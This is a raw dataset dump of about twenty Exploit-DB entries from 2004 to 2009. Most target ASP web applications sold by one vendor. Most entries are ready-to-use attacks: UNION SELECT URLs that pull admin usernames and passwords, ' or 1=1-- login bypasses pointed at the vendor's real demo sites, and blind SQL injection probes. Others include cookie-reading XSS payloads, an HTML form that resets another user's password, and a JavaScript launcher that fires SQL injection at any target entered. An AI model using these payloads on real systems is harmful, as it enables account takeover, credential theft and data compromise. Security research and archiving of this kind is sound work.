deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25346
Description: Active Auction House - 'default.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-04-06
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13032/info

Active Auction House is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/activeauctionsuperstore/default.asp?Sortby=ItemName&SortDir='SQL_INJECTION
http://www.example.com/activeauctionsuperstore/default.asp?Sortby='SQL_INJECTION
Exploit-DB #25347
Description: Active Auction House - 'ItemInfo.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-06
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13034/info

Active Auction House is reportedly affected by a SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in a SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/activeauctionsuperstore/ItemInfo.asp?itemID='SQL_INJECTION
Exploit-DB #25351
Description: Active Auction House - 'sendpassword.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-04-06
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13038/info

Active Auction House is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/activeauctionsuperstore/sendpassword.asp?Table=Accounts&Title=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/activeauctionsuperstore/sendpassword.asp?Table=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&Title=Account
Exploit-DB #25348
Description: Active Auction House - 'start.asp?ReturnURL' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-06
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13036/info

Active Auction House is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/activeauctionsuperstore/?ReturnURL=start.asp&username=dcrab&[CREDENTIAL_REDACTED](document.cookie)%3C/script%3E
http://www.example.com/activeauctionsuperstore/?ReturnURL=start.asp&username='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&&password=
Exploit-DB #25352
Description: Active Auction House - 'WatchThisItem.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-06
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13039/info

Active Auction House is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/activeauctionsuperstore/watchthisitem.asp?itemid=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&amp%3baccountid=
Exploit-DB #10520
Description: Active Auction House 3.6 - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-17
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (wishlist.asp catid) Blind SQL Injection Vulnerability
[~] Vendor: www.activewebsoftwares.com
[*] Software: Active Auction House v 3.6
[*] author: ((R3d-D3v!L))
[*] Date: 17.dec.2009
[*] T!ME: 10:06 pm
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[*] Err0r C0N50L3:

[*] http://server/demoactiveauctionh/wishlist.asp?catid={bL!ND}



[*]BL!ND sql

7Ru3 : links.asp?linkid=1 and 1=1


f4L53: links.asp?linkid=1 and 1=2



N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)

! GAZA !N 0uR HEART's blood and M!ND
[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #3551
Description: Active Auction Pro 7.1 - 'default.asp?catid' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-23
Author: CyberGhost

Exploit:
#Title  : Active Auction Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://www.activewebsoftwares.com/demoactiveauction
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=1

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid=1
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid=1

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-23]
Exploit-DB #32730
Description: Active Bids - 'search' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-01-15
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/33306/info


Active Auction House and Active Auction Pro are prone to SQL-injection and cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[Path]/search.asp?search=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>&submit=%3E

http://www.example.com/[Path]/search.asp?search=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&submit=%3E
Exploit-DB #32731
Description: Active Bids - 'search' SQL Injection
Type: webapps
Platform: asp
Date: 2009-01-15
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/33306/info
 
Active Auction House and Active Auction Pro are prone to SQL-injection and cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[Path]/search.asp?search='[SQL]&submit=%3E
Exploit-DB #2592
Description: Active Bulletin Board 1.1b2 - Remote User Pass Change
Type: webapps
Platform: asp
Date: 2006-10-18
Author: ajann

Exploit:
<!--
# Title  :   Active Bulletin Board v1.1 beta2 (doprofiledit.asp) Remote User Pass Change Exploit
# Author :   ajann
# Dork   :   "Forum Active Bulletin Board version 1.1 béta 2"
# Greetz :   Ramazan'iniz,Mübarek,Olsun,Tüm,Müslüman,Alemi|Geç,Oldu,Biraz :)

[Code]]]
-->
<html>
<body bgcolor="#000000">
<form method="POST" action="http://www.somesite.com/forum/doprofiledit.asp"><p><b>
<font color="#FF0000" face="Verdana" size="2">Email: </font></b>
<input type="text" name="Email" size="30" value="ajann@ajann.com"><br>
<font face="Verdana" size="2"><b><font color="#FF0000">Password:</font>:</b></font>
<input type="text" name="Passe" size="30" value="123456"> <br>
<input type="submit" value="Submit" name="Envoyer">
<input type="reset" value="Cancel" name="Effacer">
<input type="hidden" name="Id" value="42">
<input type="hidden" name="Nom" value="Administrateur"></p>
</form>
</body>
</html>

<!--
[/Code]]]

Change: <input type="hidden" name="Id" value="42"> => ID
Change: <input type="hidden" name="Nom" value="Administrateur"> => UsrName

Next to admin.asp

#ajann,Turkey
#...

#Im Not Hacker!
-->

# milw0rm.com [2006-10-18]
Exploit-DB #34380
Description: Active Business Directory 2 - 'searchadvance.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-12-22
Author: Andrea Bocchetti

Exploit:
source: https://www.securityfocus.com/bid/41995/info

Active Business Directory is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Active Business Directory 2 is vulnerable; other versions may also be affected. 

http://www.example.com/demoactivebusinessdirectory/searchadvance.asp? <= xss
Exploit-DB #7273
Description: Active Force Matrix 2 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Force Matrix v 2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactiveforcematrix/account.asp
   
   
  
[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #3534
Description: Active Link Engine - 'default.asp?catid' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-21
Author: CyberGhost

Exploit:
#Title  : Active Link Engine Remote SQL Injection Vulnerability
#Author : CyberGhost
#My Web Site : http://aspspider.org/cgsecurity
#Demo Page   : http://www.activewebsoftwares.com/demoactivelinkengine
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?ProductID=7

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid%20=%201
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid%20=%201

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-21]
Exploit-DB #7278
Description: Active Membership 2 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Membership v 2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivemembership/account.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #29089
Description: Active News Manager - 'catID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-18
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21167/info
   
Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
http://www.example.com/path/activeNews_categories.asp?catID=[SQL INJECTION]
Exploit-DB #3556
Description: Active NewsLetter 4.3 - 'ViewNewspapers.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-23
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Active Newsletter <= V.4.3 (ViewNewspapers.asp) Remote SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: Active Newsletter <= V.4.3 (ViewNewspapers.asp) Remote SQL Injection Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.activewebsoftwares.com
//'[$$         : $ 499.00
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/ViewNewspapers.asp?" //File name
   var acik ="NewsPaperID=" // Line x
   var sql = "[PII_REDACTED]4%20union%20select%20password%20from%20admins"
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+sql; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Active Newsletter <= V.4.3 (ViewNewspapers.asp) Remote SQL Injection Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-03-23]
Exploit-DB #7280
Description: Active NewsLetter 4.3 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Newsletter v 4.3
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  www.activewebsoftwares.com/demoactivenewsletter/start.asp
  0R

  www.activewebsoftwares.com/demoactivenewsletter/Subscriber.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #3536
Description: Active Photo Gallery - 'catid' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-21
Author: CyberGhost

Exploit:
#Title  : Active Photo Gallery Remote SQL Injection Vulnerability
#Author : CyberGhost
#My Web Site : http://aspspider.org/cgsecurity
#Demo Page   : http://www.activewebsoftwares.com/demoactivephotogallery
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=11

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid=1
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid=1

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-21]
Exploit-DB #7283
Description: Active Price Comparison 4 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Price Comparison v 4
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivepricecomparison/login.aspx?
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #24838
Description: Active Server Corner ASP Calendar 1.0 - Administrative Access
Type: webapps
Platform: asp
Date: 2004-12-14
Author: ali reza AcTiOnSpIdEr

Exploit:
source: https://www.securityfocus.com/bid/11931/info

ASP Calendar is reported prone to an unauthorized administrative access vulnerability. An unauthorized remote attacker can access an administrative script and potentially gain administrative access to the application.

It is believed that this issue affects ASP Calendar Version 1. 

http://www.example.com/***/admin/main.asp
*** : directory of asp calendar
Exploit-DB #7295
Description: Active Test 2.1 - 'QuizID' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(questions.asp QuizID) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Test v 2.1
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   

 [~]3xpL0!7 4 d3m0:
   
  www.activewebsoftwares.com/demoactivetest/questions.asp?QuizID={bL!ND}

 0R 

  www.activewebsoftwares.com/demoactivetest/importquestions.asp?QuizID={str0ke}

 oÑ

  www.activewebsoftwares.com/demoactivetest/quiztakers.asp?QuizID=((Ñ3d D3v!L))
   
 [~] 8L!/\/D:
   
  7Ru3 : questions.asp?QuizID=1 and 1=1

  f4L53: questions.asp?QuizID=1 and 1=2
   
 0R
   
  7Ru3 : importquestions.asp?QuizID=1 and 1=1

  f4L53: importquestions.asp?QuizID=1 and 1=2
   
 0Ñ
   
  7Ru3 : quiztakers.asp?QuizID=1 and 1=1

  f4L53: quiztakers.asp?QuizID=1 and 1=2
   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #7276
Description: Active Test 2.1 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Test v 2.1
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivetest/register.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]